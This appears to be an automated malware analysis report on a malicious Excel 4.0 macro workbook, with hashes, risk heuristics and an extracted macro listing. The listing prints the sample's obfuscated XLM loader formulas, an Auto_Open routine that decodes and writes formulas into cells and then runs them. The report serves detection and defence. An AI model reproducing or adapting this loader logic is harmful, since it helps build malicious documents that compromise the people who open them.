Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a5499f4b5c28bc94…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:44:20 Authoring application: Microsoft Excel First seen: 2021-03-01
MD5: c26b81534d6d01ca5baf38b476f1f262 SHA-1: a891c30369b99939fb14cd4172663761f3dac8c0 SHA-256: a5499f4b5c28bc94e1fe2dfcd5a3a490feaee58d7f431d0231b61a7e3b180f87
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6754 bytes
SHA-256: f5137c9693d1ce08e8e00ba8f8f51205e28361474a24914b2a37f6384ee441d5
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  SQEiGvmeKmd
' 0018     26 LABEL : Cell Value, String Constant - arEMCivbaKI len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F185 
' 0018     24 LABEL : Cell Value, String Constant - BeJmPmbcu len=0 
' 0018     25 LABEL : Cell Value, String Constant - BiuweaBCHi len=0 
' 0018     24 LABEL : Cell Value, String Constant - cenEMNAvq len=0 
' 0018     24 LABEL : Cell Value, String Constant - CvvWXUksb len=0 
' 0018     22 LABEL : Cell Value, String Constant - DTFpnzv len=0 
' 0018     22 LABEL : Cell Value, String Constant - ESMkbnX len=0 
' 0018     25 LABEL : Cell Value, String Constant - hLsbnnJUkT len=0 
' 0018     27 LABEL : Cell Value, String Constant - HMCHlqXVRAkW len=0 
' 0018     26 LABEL : Cell Value, String Constant - kkEVbfGgjOf len=0 
' 0018     24 LABEL : Cell Value, String Constant - mkRiLgFAu len=0 
' 0018     23 LABEL : Cell Value, String Constant - pIDhIXPg len=0 
' 0018     23 LABEL : Cell Value, String Constant - QFeWjkvu len=0 
' 0018     27 LABEL : Cell Value, String Constant - sCneBUqpyeTN len=0 
' 0018     25 LABEL : Cell Value, String Constant - staocRCiEk len=0 
' 0018     25 LABEL : Cell Value, String Constant - tGDNnroOwU len=0 
' 0018     20 LABEL : Cell Value, String Constant - txRyq len=0 
' 0018     22 LABEL : Cell Value, String Constant - WFNyyUa len=0 
' 0018     22 LABEL : Cell Value, String Constant - XcNCfpb len=0 
' 0018     27 LABEL : Cell Value, String Constant - YrSvVsTpUlIU len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  SQEiGvmeKmd,F91,"SET.NAME("tGDNnroOwU",VALUE("0"))",""
'  SQEiGvmeKmd,F95,"SET.NAME("QFeWjkvu",tGDNnroOwU)",""
'  SQEiGvmeKmd,F97,"SET.NAME("cenEMNAvq",tGDNnroOwU)",""
'  SQEiGvmeKmd,F102,"SET.NAME("BiuweaBCHi",COUNTA(arEMCivbaKI))",""
'  SQEiGvmeKmd,F106,"SET.NAME("XcNCfpb",COUNTA(HMCHlqXVRAkW))",""
'  SQEiGvmeKmd,F111,[],""
'  SQEiGvmeKmd,F115,"SET.NAME("mkRiLgFAu","")",""
'  SQEiGvmeKmd,F117,"QFeWjkvu",""
'  SQEiGvmeKmd,F120,"SET.NAME("hLsbnnJUkT",HLOOKUP("*",arEMCivbaKI,QFeWjkvu,FALSE))",""
'  SQEiGvmeKmd,F125,"YrSvVsTpUlIU",""
'  SQEiGvmeKmd,F128,"SET.NAME("sCneBUqpyeTN",tGDNnroOwU)",""
'  SQEiGvmeKmd,F133,[],""
'  SQEiGvmeKmd,F137,"sCneBUqpyeTN",""
'  SQEiGvmeKmd,F140,"txRyq",""
'  SQEiGvmeKmd,F144,"CvvWXUksb",""
'  SQEiGvmeKmd,F148,"staocRCiEk",""
'  SQEiGvmeKmd,F153,"SET.NAME("pIDhIXPg",VALUE(HLOOKUP("*",HMCHlqXVRAkW,staocRCiEk,FALSE)))",""
'  SQEiGvmeKmd,F155,"kkEVbfGgjOf",""
'  SQEiGvmeKmd,F158,"mkRiLgFAu",""
'  SQEiGvmeKmd,F161,"cenEMNAvq",""
'  SQEiGvmeKmd,F165,NEXT(),""
'  SQEiGvmeKmd,F170,"BeJmPmbcu",""
'  SQEiGvmeKmd,F172,"SET.NAME("f",INT(T(FORMULA(T(mkRiLgFAu)&"",""&T(BeJmPmbcu)))))",""
'  SQEiGvmeKmd,F174,"DTFpnzv",""
'  SQEiGvmeKmd,F179,NEXT(),""
'  SQEiGvmeKmd,F182,RETURN(),""
'  SQEiGvmeKmd,F212,"SET.NAME("ESMkbnX",F91)",""
'  SQEiGvmeKmd,F217,"arEMCivbaKI",""
'  SQEiGvmeKmd,F220,"SET.NAME("HMCHlqXVRAkW",R92C11)",""
'  SQEiGvmeKmd,F225,"SET.NAME("DTFpnzv",234)",""
'  SQEiGvmeKmd,F229,"SET.NAME("WFNyyUa",6)",""
'  SQEiGvmeKmd,F233,ESMkbnX(),""
'  SQEiGvmeKmd,F234,HALT(),""